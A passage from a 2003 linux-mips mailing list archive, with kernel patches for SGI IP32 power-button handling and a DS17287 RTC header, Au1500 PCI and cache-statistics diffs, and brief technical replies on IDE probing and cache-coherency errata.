> > >       // Setup PCI bus controller
> > > -     au_writel(0, Au1500_PCI_CMEM);
> > > -     au_writel(0x00003fff, Au1500_CFG_BASE);
> > > +
> > > +     au_writel(0x00003fff, Au1500_PCI_CMEM);
> > > +
> > >  #if defined(__MIPSEB__)
> > > -     au_writel(0xf | (2<<6) | (1<<4), Au1500_PCI_CFG);
> > > +     pcicfg = 0xf | (2<<6) | (1<<4);
> > >  #else
> > > -     au_writel(0xf, Au1500_PCI_CFG);
> > > +     pcicfg = 0xf;
> > >  #endif
> > > +
> > > +#ifdef CONFIG_NONCOHERENT_IO
> > > +     /* Must disable PCI coherency if running non-coherent */
> > > +
> > > +     pcicfg |= (1<<16);
> > > +#endif
> > > +
> > > +     au_writel(pcicfg,     Au1500_PCI_CFG);
> > > +
> > >       au_writel(0xf0000000, Au1500_PCI_MWMASK_DEV);
> > > -     au_writel(0, Au1500_PCI_MWBASE_REV_CCL);
> > > +     au_writel(0,          Au1500_PCI_MWBASE_REV_CCL);
> > >       au_writel(0x02a00356, Au1500_PCI_STATCMD);
> > >       au_writel(0x00003c04, Au1500_PCI_HDRTYPE);
> > >       au_writel(0x00000008, Au1500_PCI_MBAR);
> 
> 


From agx@sigxcpu.org Wed Apr  2 00:06:53 2003
Received: with ECARTIS (v1.0.0; list linux-mips); Wed, 02 Apr 2003 00:06:54 +0100 (BST)
Received: from honk1.physik.uni-konstanz.de ([IPv6:::ffff:134.34.140.224]:32231
	"EHLO honk1.physik.uni-konstanz.de") by linux-mips.org with ESMTP
	id <S8225235AbTDAXGx>; Wed, 2 Apr 2003 00:06:53 +0100
Received: from localhost (localhost [127.0.0.1])
	by honk1.physik.uni-konstanz.de (Postfix) with ESMTP
	id C3F5F2BC2F; Wed,  2 Apr 2003 01:06:49 +0200 (CEST)
Received: from honk1.physik.uni-konstanz.de ([127.0.0.1])
 by localhost (honk [127.0.0.1:10024]) (amavisd-new) with ESMTP id 30039-01;
 Wed,  2 Apr 2003 01:06:43 +0200 (CEST)
Received: from bogon.sigxcpu.org (kons-d9bb55f4.pool.mediaWays.net [217.187.85.244])
	by honk1.physik.uni-konstanz.de (Postfix) with ESMTP
	id 730BD2BC2D; Wed,  2 Apr 2003 01:06:42 +0200 (CEST)
Received: by bogon.sigxcpu.org (Postfix, from userid 1000)
	id DF98C1735C; Wed,  2 Apr 2003 01:04:11 +0200 (CEST)
Date: Wed, 2 Apr 2003 01:04:11 +0200
From: Guido Guenther <agx@sigxcpu.org>
To: linux-mips@linux-mips.org
Cc: Ralf Baechle <ralf@linux-mips.org>
Subject: Re: [PATCH 2.5]: IP32 enable power button
Message-ID: <20030401230411.GQ31607@bogon.ms20.nix>
Mail-Followup-To: Guido Guenther <agx@sigxcpu.org>,
	linux-mips@linux-mips.org, Ralf Baechle <ralf@linux-mips.org>
References: <20030323184317.GE26796@bogon.ms20.nix> <20030324004614.GH26796@bogon.ms20.nix> <20030324224041.B16592@linux-mips.org>
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="BzCohdixPhurzSK4"
Content-Disposition: inline
In-Reply-To: <20030324224041.B16592@linux-mips.org>
User-Agent: Mutt/1.5.3i
Return-Path: <agx@sigxcpu.org>
X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0)
X-Orcpt: rfc822;linux-mips@linux-mips.org
Original-Recipient: rfc822;linux-mips@linux-mips.org
X-archive-position: 1898
X-ecartis-version: Ecartis v1.0.0
Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: agx@sigxcpu.org
Precedence: bulk
X-list: linux-mips


--BzCohdixPhurzSK4
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline

On Mon, Mar 24, 2003 at 10:40:41PM +0100, Ralf Baechle wrote:
> On Mon, Mar 24, 2003 at 01:46:14AM +0100, Guido Guenther wrote:
> 
> > On Sun, Mar 23, 2003 at 07:43:17PM +0100, Guido Guenther wrote:
> > > the attached patch enables the power button on IP32 and adds definitions
> > > for the extra registers of the ds1728[57]. Please apply.
> > Hmm...the patch that worked without problems all over the day now
> > refuses to shut of the machine. I'll have to look into that and post a
> > fixed version when I know whats wrong.
> 
> Ok, will ignore the patch for now,
I'm running the attached version now for quiet some time without
problems. Should be o.k. to apply now.
Regards,
 -- Guido

--BzCohdixPhurzSK4
Content-Type: text/plain; charset=us-ascii
Content-Description: ip32-pwr-button.diff
Content-Disposition: attachment; filename="ip32-pwr-button.diff"

--- ../o2-2.5.47.glaurung/arch/mips/sgi-ip32/ip32-setup.c	Thu Mar 20 02:15:31 2003
+++ arch/mips/sgi-ip32/ip32-setup.c	Sun Mar 23 19:36:27 2003
@@ -106,8 +106,6 @@
 	conswitchp = &dummy_con;
 #endif
 
-	ip32_reboot_setup();
-
 	rtc_ops = &ip32_rtc_ops;
 	board_time_init = ip32_time_init;
         board_timer_setup = NULL;
Index: include/asm-mips64/ip32/mace.h
===================================================================
RCS file: /home/cvs/linux/include/asm-mips64/ip32/mace.h,v
retrieving revision 1.5
diff -u -p -r1.5 mace.h
--- include/asm-mips64/ip32/mace.h	6 Aug 2002 00:09:00 -0000	1.5
+++ include/asm-mips64/ip32/mace.h	25 Mar 2003 23:24:48 -0000
@@ -151,8 +152,8 @@
 #define MACEISA_PWD_CLEAR      BIT(1) /* 1=> PWD CLEAR jumper detected */
 #define MACEISA_NIC_DEASSERT   BIT(2)
 #define MACEISA_NIC_DATA       BIT(3)
-#define MACEISA_LED_RED        BIT(4) /* 1=> Illuminate RED LED */
-#define MACEISA_LED_GREEN      BIT(5) /* 1=> Illuminate GREEN LED */
+#define MACEISA_LED_RED        BIT(4) /* 0=> Illuminate RED LED */
+#define MACEISA_LED_GREEN      BIT(5) /* 0=> Illuminate GREEN LED */
 #define MACEISA_DP_RAM_ENABLE  BIT(6)
 
 /*
--- /dev/null	Sat Mar 16 18:32:44 2002
+++ include/linux/ds17287rtc.h	Wed Mar 26 22:15:05 2003
@@ -0,0 +1,68 @@
+/* 
+ * ds17287rtc.h - register definitions for the ds1728[57] RTC / CMOS RAM
+ *
+ * This file is subject to the terms and conditions of the GNU General Public
+ * License.  See the file "COPYING" in the main directory of this archive
+ * for more details.
+ * 
+ * (C) 2003 Guido Guenther <agx@sigxcpu.org>
+ *
+ */
+
+#ifndef _DS17287RTC_H
+#define _DS17287RTC_H
+
+#include <asm/io.h>
+#include <linux/rtc.h>			/* get the user-level API */
+#include <linux/spinlock.h>		/* spinlock_t */
+#include <linux/mc146818rtc.h>
+
+/* Register A */
+#define DS_REGA_DV2 0x40		/* countdown chain */
+#define DS_REGA_DV1 0x20		/* oscillator enable */
+#define DS_REGA_DV0 0x10		/* bank select */
+
+/* bank 1 registers */
+#define DS_B1_MODEL	 0x40		/* model number byte */
+#define DS_B1_SN1 	 0x41		/* serial number byte 1 */
+#define DS_B1_SN2 	 0x42		/* serial number byte 2 */
+#define DS_B1_SN3 	 0x43		/* serial number byte 3 */
+#define DS_B1_SN4 	 0x44		/* serial number byte 4 */
+#define DS_B1_SN5 	 0x45		/* serial number byte 5 */
+#define DS_B1_SN6 	 0x46		/* serial number byte 6 */
+#define DS_B1_CRC 	 0x47		/* CRC byte */
+#define DS_B1_CENTURY 	 0x48		/* Century byte */
+#define DS_B1_DALARM 	 0x49		/* date alarm */
+#define DS_B1_XCTRL4A	 0x4a		/* extendec control register 4a */
+#define DS_B1_XCTRL4B	 0x4b		/* extendec control register 4b */
+#define DS_B1_RTCADDR2 	 0x4e		/* rtc address 2 */
+#define DS_B1_RTCADDR3 	 0x4f		/* rtc address 3 */
+#define DS_B1_RAMLSB	 0x50		/* extended ram LSB */
+#define DS_B1_RAMMSB	 0x51		/* extended ram MSB */
+#define DS_B1_RAMDPORT	 0x53		/* extended ram data port */
+
+/* register details */
+/* extended control register 4a */
+#define DS_XCTRL4A_VRT2  0x80 		/* valid ram and time */
+#define DS_XCTRL4A_INCR  0x40		/* increment progress status */
+#define DS_XCTRL4A_BME   0x20		/* burst mode enable */
+#define DS_XCTRL4A_PAB   0x08		/* power active bar ctrl */
+#define DS_XCTRL4A_RF    0x04		/* ram clear flag */
+#define DS_XCTRL4A_WF    0x02		/* wake up alarm flag */
+#define DS_XCTRL4A_KF    0x01		/* kickstart flag */
+/* interrupt causes */
+#define DS_XCTRL4A_IFS	(DS_XCTRL4A_RF|DS_XCTRL4A_WF|DS_XCTRL4A_KF)
+
+/* extended control register 4b */
+#define DS_XCTRL4B_ABE   0x80 		/* auxiliary battery enable */
+#define DS_XCTRL4B_E32K	 0x40		/* enable 32.768 kHz Output */
+#define DS_XCTRL4B_CS    0x20		/* crystal select */
+#define DS_XCTRL4B_RCE   0x10		/* ram clear enable */
+#define DS_XCTRL4B_PRS   0x08		/* PAB resec select */
+#define DS_XCTRL4B_RIE   0x04		/* ram clear interrupt enable */
+#define DS_XCTRL4B_WFE   0x02		/* wake up alarm interrupt enable */
+#define DS_XCTRL4B_KFE   0x01		/* kickstart interrupt enable */
+/* interrupt enable bits */
+#define DS_XCTRL4B_IFES	(DS_XCTRL4B_RIE|DS_XCTRL4B_WFE|DS_XCTRL4B_KFE)
+
+#endif /* _DS17287RTC_H */
Index: arch/mips/sgi-ip32/ip32-reset.c
===================================================================
RCS file: /home/cvs/linux/arch/mips/sgi-ip32/ip32-reset.c,v
retrieving revision 1.1
diff -u -p -r1.1 ip32-reset.c
--- arch/mips/sgi-ip32/ip32-reset.c	25 Jul 2002 19:10:08 -0000	1.1
+++ arch/mips/sgi-ip32/ip32-reset.c	28 Mar 2003 11:28:47 -0000
@@ -5,30 +5,204 @@
  *
  * Copyright (C) 2001 Keith M Wesolowski
  * Copyright (C) 2001 Paul Mundt
+ * Copyright (C) 2003 Guido Guenther <agx@sigxcpu.org>
  */
+
 #include <linux/init.h>
+#include <linux/kernel.h>
+#include <linux/sched.h>
+#include <linux/notifier.h>
+#include <linux/delay.h>
+#include <linux/ds17287rtc.h>
 
+#include <asm/irq.h>
 #include <asm/reboot.h>
 #include <asm/sgialib.h>
+#include <asm/addrspace.h>
+#include <asm/types.h>
+#include <asm/system.h>
+#include <asm/wbflush.h>
+#include <asm/ip32/ip32_ints.h>
+
+#define POWERDOWN_TIMEOUT	120
+/*
+ * Blink frequency during reboot grace period and when paniced.
+ */
+#define POWERDOWN_FREQ		(HZ / 4)
+#define PANIC_FREQ		(HZ / 8)
+
+static struct timer_list power_timer, blink_timer, debounce_timer;
+static int shuting_down = 0, has_paniced = 0;
+
+static void ip32_machine_restart(char *command) __attribute__((noreturn));
+static void ip32_machine_halt(void) __attribute__((noreturn));
+static void ip32_machine_power_off(void) __attribute__((noreturn));
 
 static void ip32_machine_restart(char *cmd)
 {
+	if (shuting_down)
+		ip32_machine_power_off();
 	ArcReboot();
 }
 
 static inline void ip32_machine_halt(void)
 {
+	if (shuting_down)
+		ip32_machine_power_off();
 	ArcEnterInteractiveMode();
 }
 
 static void ip32_machine_power_off(void)
 {
-	ip32_machine_halt();
+	volatile unsigned char reg_a, xctrl_a, xctrl_b;
+
+	disable_irq(MACEISA_RTC_IRQ);
+	reg_a = CMOS_READ(RTC_REG_A);
+
+	/* setup for kickstart & wake-up (DS12287 Ref. Man. p. 19) */
+	reg_a &= ~DS_REGA_DV2;
+	reg_a |= DS_REGA_DV1;
+
+	CMOS_WRITE(reg_a | DS_REGA_DV0, RTC_REG_A);
+	wbflush();
+	xctrl_b = CMOS_READ(DS_B1_XCTRL4B)
+		   | DS_XCTRL4B_ABE | DS_XCTRL4B_KFE;
+	CMOS_WRITE(xctrl_b, DS_B1_XCTRL4B);
+	xctrl_a = CMOS_READ(DS_B1_XCTRL4A) & ~DS_XCTRL4A_IFS;
+	CMOS_WRITE(xctrl_a, DS_B1_XCTRL4A);
+	wbflush();
+	/* adios amigos... */
+	CMOS_WRITE(xctrl_a | DS_XCTRL4A_PAB, DS_B1_XCTRL4A);
+	CMOS_WRITE(reg_a, RTC_REG_A);
+	wbflush();
+
+	while(1) {
+	  	printk(KERN_DEBUG "Power off!\n");
+	}
+}
+
+static void power_timeout(unsigned long data)
+{
+	ip32_machine_power_off();
+}
+
+static void blink_timeout(unsigned long data)
+{
+	u64 mc_led =  mace_read_64(MACEISA_FLASH_NIC_REG);
+
+	mc_led ^= MACEISA_LED_RED;
+	mace_write_64(MACEISA_FLASH_NIC_REG, mc_led);
+	mod_timer(&blink_timer, jiffies+data);
+}
+
+static void debounce(unsigned long data)
+{
+	volatile unsigned char reg_a,reg_c,xctrl_a;
+
+	reg_c = CMOS_READ(RTC_INTR_FLAGS);
+	CMOS_WRITE(reg_a | DS_REGA_DV0, RTC_REG_A);
+	wbflush();
+	xctrl_a = CMOS_READ(DS_B1_XCTRL4A);
+	if( (xctrl_a & DS_XCTRL4A_IFS ) || ( reg_c & RTC_IRQF ) ) {
+		/* Interrupt still being sent. */
+		debounce_timer.expires = jiffies + 50;
+		add_timer(&debounce_timer);
+
+		/* clear interrupt source */
+		CMOS_WRITE( xctrl_a & ~DS_XCTRL4A_IFS, DS_B1_XCTRL4A);
+		CMOS_WRITE(reg_a & ~DS_REGA_DV0, RTC_REG_A);
+		return;
+	}
+	CMOS_WRITE(reg_a & ~DS_REGA_DV0, RTC_REG_A);
+
+	if (has_paniced)
+		ArcReboot();
+
+	enable_irq(MACEISA_RTC_IRQ);
 }
 
-void __init ip32_reboot_setup(void)
+static inline void ip32_power_button(void)
 {
+	if (has_paniced)
+		return;
+
+	if (shuting_down || kill_proc(1, SIGINT, 1)) {
+		/* No init process or button pressed twice.  */
+		ip32_machine_power_off();
+	}
+
+	shuting_down = 1;
+	blink_timer.data = POWERDOWN_FREQ;
+	blink_timeout(POWERDOWN_FREQ);
+
+	init_timer(&power_timer);
+	power_timer.function = power_timeout;
+	power_timer.expires = jiffies + POWERDOWN_TIMEOUT * HZ;
+	add_timer(&power_timer);
+}
+
+static void ip32_rtc_int(int irq, void *dev_id, struct pt_regs *regs)
+{
+	volatile unsigned char reg_c;
+
+	reg_c = CMOS_READ(RTC_INTR_FLAGS);
+	if( ! (reg_c & RTC_IRQF) ) {
+		printk(KERN_WARNING 
+			"%s: RTC IRQ without RTC_IRQF\n", __FUNCTION__);
+	}
+	/* Wait until interrupt goes away */
+	disable_irq(MACEISA_RTC_IRQ);
+	init_timer(&debounce_timer);
+	debounce_timer.function = debounce;
+	debounce_timer.expires = jiffies + 50;
+	add_timer(&debounce_timer);
+
+	printk(KERN_DEBUG "Power button pressed\n");
+	ip32_power_button();
+}
+
+static int panic_event(struct notifier_block *this, unsigned long event,
+                      void *ptr)
+{
+	u64 mc_led;
+
+	if (has_paniced)
+		return NOTIFY_DONE;
+	has_paniced = 1;
+
+	/* turn off the green LED */
+	mc_led = mace_read_64(MACEISA_FLASH_NIC_REG);
+	mc_led |= MACEISA_LED_GREEN;
+	mace_write_64(MACEISA_FLASH_NIC_REG, mc_led);
+
+	blink_timer.data = PANIC_FREQ;
+	blink_timeout(PANIC_FREQ);
+
+	return NOTIFY_DONE;
+}
+
+static struct notifier_block panic_block = {
+	.notifier_call = panic_event,
+};
+
+static __init int ip32_reboot_setup(void)
+{
+	u64 mc_led =  mace_read_64(MACEISA_FLASH_NIC_REG);
+
 	_machine_restart = ip32_machine_restart;
 	_machine_halt = ip32_machine_halt;
 	_machine_power_off = ip32_machine_power_off;
+	request_irq(MACEISA_RTC_IRQ, ip32_rtc_int, 0, "rtc", NULL);
+	init_timer(&blink_timer);
+	blink_timer.function = blink_timeout;
+	notifier_chain_register(&panic_notifier_list, &panic_block);
+
+	/* turn on the green led only */
+	mc_led |= MACEISA_LED_RED;
+	mc_led &= ~MACEISA_LED_GREEN;
+	mace_write_64(MACEISA_FLASH_NIC_REG, mc_led);
+
+	return 0;
 }
+
+subsys_initcall(ip32_reboot_setup);

--BzCohdixPhurzSK4--

From macro@ds2.pg.gda.pl Wed Apr  2 13:13:16 2003
Received: with ECARTIS (v1.0.0; list linux-mips); Wed, 02 Apr 2003 13:13:17 +0100 (BST)
Received: from delta.ds2.pg.gda.pl ([IPv6:::ffff:213.192.72.1]:48632 "EHLO
	delta.ds2.pg.gda.pl") by linux-mips.org with ESMTP
	id <S8224847AbTDBMNQ>; Wed, 2 Apr 2003 13:13:16 +0100
Received: from localhost by delta.ds2.pg.gda.pl (8.9.3/8.9.3) with SMTP id OAA02820;
	Wed, 2 Apr 2003 14:13:21 +0200 (MET DST)
Date: Wed, 2 Apr 2003 14:13:21 +0200 (MET DST)
From: "Maciej W. Rozycki" <macro@ds2.pg.gda.pl>
To: Pete Popov <ppopov@mvista.com>
cc: Hartvig Ekner <hartvig@ekner.info>,
	linux-mips <linux-mips@linux-mips.org>
Subject: Re: IDE initialization on AU1500?
In-Reply-To: <1049052911.1919.11.camel@adsl.pacbell.net>
Message-ID: <Pine.GSO.3.96.1030402140446.1177E-100000@delta.ds2.pg.gda.pl>
Organization: Technical University of Gdansk
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Return-Path: <macro@ds2.pg.gda.pl>
X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0)
X-Orcpt: rfc822;linux-mips@linux-mips.org
Original-Recipient: rfc822;linux-mips@linux-mips.org
X-archive-position: 1899
X-ecartis-version: Ecartis v1.0.0
Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: macro@ds2.pg.gda.pl
Precedence: bulk
X-list: linux-mips

On 30 Mar 2003, Pete Popov wrote:

> > Uniform Multi-Platform E-IDE driver Revision: 7.00beta-2.4
> > ide: Assuming 33MHz system bus speed for PIO modes; override with idebus=xx
> > PDC20268: IDE controller at PCI slot 00:0d.0
> > PDC20268: chipset revision 2
> > PDC20268: not 100% native mode: will probe irqs later
> > PDC20268: ROM enabled at 0x000dc000
> >     ide0: BM-DMA at 0x0520-0x0527, BIOS settings: hda:pio, hdb:pio
> >     ide1: BM-DMA at 0x0528-0x052f, BIOS settings: hdc:pio, hdd:pio
> > hdc: IBM-DTLA-307030, ATA DISK drive
> > blk: queue 802f7a58, I/O limit 4095Mb (mask 0xffffffff)
> > hdg: IRQ probe failed (0xfffbfffe)
> > hdg: IRQ probe failed (0xfffbbffe)
> > hdi: probing with STATUS(0x24) instead of ALTSTATUS(0x00)
> > hdi: IRQ probe failed (0xfffbfffe)
> > hdi: IRQ probe failed (0xfffbbffe)
> > hdk: probing with STATUS(0x24) instead of ALTSTATUS(0x00)
> > ide1 at 0x510-0x517,0x51a on irq 1
> > hdc: host protected area => 1
> > hdc: 60036480 sectors (30739 MB) w/1916KiB Cache, CHS=59560/16/63, UDMA(100)
> > Partition check:
> >  hdc: hdc1 hdc2 hdc3 hdc4
> > 
> > Are the "IRQ probe failed" and "probing with ..." messages expected and ok?  
> 
> Well, since the ide subsystem is probing all the drives, and there are
> no drives to be found, I would have to say that the failures are to be
> expected.

 The IRQ probes shouldn't happen for hdg and hdi (the shift of names
resulting in hdk is probably another bug), just like they don't happen for
hda.  There is no point from probing inexistent drives for IRQs as it
won't work.  And probing for drives themselves uses polled I/O. 

-- 
+  Maciej W. Rozycki, Technical University of Gdansk, Poland   +
+--------------------------------------------------------------+
+        e-mail: macro@ds2.pg.gda.pl, PGP key available        +


From macro@ds2.pg.gda.pl Wed Apr  2 13:17:10 2003
Received: with ECARTIS (v1.0.0; list linux-mips); Wed, 02 Apr 2003 13:17:11 +0100 (BST)
Received: from delta.ds2.pg.gda.pl ([IPv6:::ffff:213.192.72.1]:59128 "EHLO
	delta.ds2.pg.gda.pl") by linux-mips.org with ESMTP
	id <S8224847AbTDBMRK>; Wed, 2 Apr 2003 13:17:10 +0100
Received: from localhost by delta.ds2.pg.gda.pl (8.9.3/8.9.3) with SMTP id OAA02903;
	Wed, 2 Apr 2003 14:17:15 +0200 (MET DST)
Date: Wed, 2 Apr 2003 14:17:14 +0200 (MET DST)
From: "Maciej W. Rozycki" <macro@ds2.pg.gda.pl>
To: Pete Popov <ppopov@mvista.com>
cc: Hartvig Ekner <hartvig@ekner.info>, Pete@ekner.info,
	Popov@ekner.info,
	Linux MIPS mailing list <linux-mips@linux-mips.org>
Subject: Re: Au1500 hardware cache coherency
In-Reply-To: <1049221364.26674.248.camel@zeus.mvista.com>
Message-ID: <Pine.GSO.3.96.1030402141350.1177F-100000@delta.ds2.pg.gda.pl>
Organization: Technical University of Gdansk
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Return-Path: <macro@ds2.pg.gda.pl>
X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0)
X-Orcpt: rfc822;linux-mips@linux-mips.org
Original-Recipient: rfc822;linux-mips@linux-mips.org
X-archive-position: 1900
X-ecartis-version: Ecartis v1.0.0
Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: macro@ds2.pg.gda.pl
Precedence: bulk
X-list: linux-mips

On 1 Apr 2003, Pete Popov wrote:

> > I'm not quite sure whether ld_mmu_mips32 is called after au1x00 setup, but if it is,
> > the bit is cleared, never to be set again. Maybe the c0_config macroes should be changed
> > due to errata #4?
> 
> I doubt Ralf is going to change common macros to fix a specific bug.

 You'd better ask instead of guessing.  I would see no problem with such a
workaround IF done cleanly. 

-- 
+  Maciej W. Rozycki, Technical University of Gdansk, Poland   +
+--------------------------------------------------------------+
+        e-mail: macro@ds2.pg.gda.pl, PGP key available        +


From hartvig@ekner.info Wed Apr  2 20:08:42 2003
Received: with ECARTIS (v1.0.0; list linux-mips); Wed, 02 Apr 2003 20:08:43 +0100 (BST)
Received: from pasmtp.tele.dk ([IPv6:::ffff:193.162.159.95]:1296 "EHLO
	pasmtp.tele.dk") by linux-mips.org with ESMTP id <S8225196AbTDBTIm>;
	Wed, 2 Apr 2003 20:08:42 +0100
Received: from ekner.info (0x83a4a968.virnxx10.adsl-dhcp.tele.dk [131.164.169.104])
	by pasmtp.tele.dk (Postfix) with ESMTP id D637AB527
	for <linux-mips@linux-mips.org>; Wed,  2 Apr 2003 21:08:39 +0200 (CEST)
Message-ID: <3E8B3703.3D9B09D5@ekner.info>
Date: Wed, 02 Apr 2003 21:16:20 +0200
From: Hartvig Ekner <hartvig@ekner.info>
X-Mailer: Mozilla 4.79 [en] (X11; U; Linux 2.4.18-19.7.x i686)
X-Accept-Language: en
MIME-Version: 1.0
To: Linux MIPS mailing list <linux-mips@linux-mips.org>
Subject: Cache flush statistics patch to c-mips32.c
Content-Type: multipart/mixed;
 boundary="------------1CADC4A811B853F927ABCAD0"
Return-Path: <hartvig@ekner.info>
X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0)
X-Orcpt: rfc822;linux-mips@linux-mips.org
Original-Recipient: rfc822;linux-mips@linux-mips.org
X-archive-position: 1901
X-ecartis-version: Ecartis v1.0.0
Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: hartvig@ekner.info
Precedence: bulk
X-list: linux-mips

This is a multi-part message in MIME format.
--------------1CADC4A811B853F927ABCAD0
Content-Type: multipart/alternative;
 boundary="------------0DD04DD5AD4661B9F38FC2D6"


--------------0DD04DD5AD4661B9F38FC2D6
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Below is a patch with some cache statistics counters added to c-mips32.c.
They are turned on by the local define DEBUG_COUNTERS in case somebody wants to
play with them.

A sample output:

[root@au01 root]# more /proc/cmips32_cache_stats

Cache statistics from c-mips32.c:

mips32_flush_cache_all_pc:      83384    mips32_flush_cache_all_sc:          0
mips32_flush_cache_range_pc:    37276    mips32_flush_cache_range_sc:        0
mips32_flush_cache_mm_pc:        2121    mips32_flush_cache_mm_sc:           0
mips32_flush_cache_page_pc:     36282    mips32_flush_cache_page_sc:         0

mips32_flush_icache_all:            0    mips32_flush_icache_page_s:         0
mips32_flush_icache_range:          4    mips32_flush_icache_page:       93545
mips32_flush_data_cache_page:   31905    mips32_flush_cache_sigtramp:     2467

dma_cache_wback_inv_pc:          7029    dma_cache_wback_inv_sc:             0
dma_cache_inv_pc:                   0    dma_cache_inv_sc:                   0


These counts are from a system which has just booted, nothing else. While running
some programs, the flush_cache_all is called up to 400 times pr. second (!).

/Hartvig


--------------0DD04DD5AD4661B9F38FC2D6
Content-Type: text/html; charset=us-ascii
Content-Transfer-Encoding: 7bit

<!doctype html public "-//w3c//dtd html 4.0 transitional//en">
<html>
<tt>Below is a patch with some cache statistics counters added to c-mips32.c.</tt>
<br><tt>They are turned on by the local define DEBUG_COUNTERS in case somebody
wants to</tt>
<br><tt>play with them.</tt><tt></tt>
<p><tt>A&nbsp;sample output:</tt><tt></tt>
<p><tt>[root@au01 root]# more /proc/cmips32_cache_stats</tt>
<br><tt>&nbsp;</tt>
<br><tt>Cache statistics from c-mips32.c:</tt>
<br><tt>&nbsp;</tt>
<br><tt>mips32_flush_cache_all_pc:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 83384&nbsp;&nbsp;&nbsp;
mips32_flush_cache_all_sc:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
0</tt>
<br><tt>mips32_flush_cache_range_pc:&nbsp;&nbsp;&nbsp; 37276&nbsp;&nbsp;&nbsp;
mips32_flush_cache_range_sc:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
0</tt>
<br><tt>mips32_flush_cache_mm_pc:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
2121&nbsp;&nbsp;&nbsp; mips32_flush_cache_mm_sc:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
0</tt>
<br><tt>mips32_flush_cache_page_pc:&nbsp;&nbsp;&nbsp;&nbsp; 36282&nbsp;&nbsp;&nbsp;
mips32_flush_cache_page_sc:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
0</tt>
<br><tt>&nbsp;</tt>
<br><tt>mips32_flush_icache_all:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
0&nbsp;&nbsp;&nbsp; mips32_flush_icache_page_s:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
0</tt>
<br><tt>mips32_flush_icache_range:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
4&nbsp;&nbsp;&nbsp; mips32_flush_icache_page:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
93545</tt>
<br><tt>mips32_flush_data_cache_page:&nbsp;&nbsp; 31905&nbsp;&nbsp;&nbsp;
mips32_flush_cache_sigtramp:&nbsp;&nbsp;&nbsp;&nbsp; 2467</tt>
<br><tt>&nbsp;</tt>
<br><tt>dma_cache_wback_inv_pc:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
7029&nbsp;&nbsp;&nbsp; dma_cache_wback_inv_sc:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
0</tt>
<br><tt>dma_cache_inv_pc:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
0&nbsp;&nbsp;&nbsp; dma_cache_inv_sc:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
0</tt>
<br><tt></tt>&nbsp;<tt></tt>
<p><tt>These counts are from a system which has just booted, nothing else.
While running</tt>
<br><tt>some programs, the flush_cache_all is called up to 400 times pr.
second (!).</tt><tt></tt>
<p><tt>/Hartvig</tt>
<br><tt></tt>&nbsp;</html>

--------------0DD04DD5AD4661B9F38FC2D6--

--------------1CADC4A811B853F927ABCAD0
Content-Type: text/plain; charset=us-ascii;
 name="cmips32_patch"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline;
 filename="cmips32_patch"

Index: c-mips32.c
===================================================================
RCS file: /home/cvs/linux/arch/mips/mm/c-mips32.c,v
retrieving revision 1.3.2.17
diff -u -r1.3.2.17 c-mips32.c
--- c-mips32.c	31 Mar 2003 23:29:06 -0000	1.3.2.17
+++ c-mips32.c	2 Apr 2003 19:01:35 -0000
@@ -17,6 +17,10 @@
  *
  * MIPS32 CPU variant specific MMU/Cache routines.
  */
+
+#undef	DEBUG_CACHE		/* Control debug printk's	*/
+#undef	DEBUG_COUNTERS		/* Control statistics counters	*/
+
 #include <linux/config.h>
 #include <linux/init.h>
 #include <linux/kernel.h>
@@ -32,6 +36,40 @@
 #include <asm/system.h>
 #include <asm/mmu_context.h>
 
+
+#ifndef	DEBUG_COUNTERS
+#define	DEBUG_INCCNT(cnt)
+#else
+
+#include <linux/module.h>
+#include <linux/proc_fs.h>
+
+#define	DEBUG_INCCNT(cnt)	cnt++
+
+static int cnt_mips32_flush_cache_all_sc = 0;	/* All the bean counters */
+static int cnt_mips32_flush_cache_all_pc = 0;
+static int cnt_mips32_flush_cache_range_sc = 0;
+static int cnt_mips32_flush_cache_range_pc = 0;
+static int cnt_mips32_flush_cache_mm_sc = 0;
+static int cnt_mips32_flush_cache_mm_pc = 0;
+static int cnt_mips32_flush_cache_page_sc = 0;
+static int cnt_mips32_flush_cache_page_pc = 0;
+
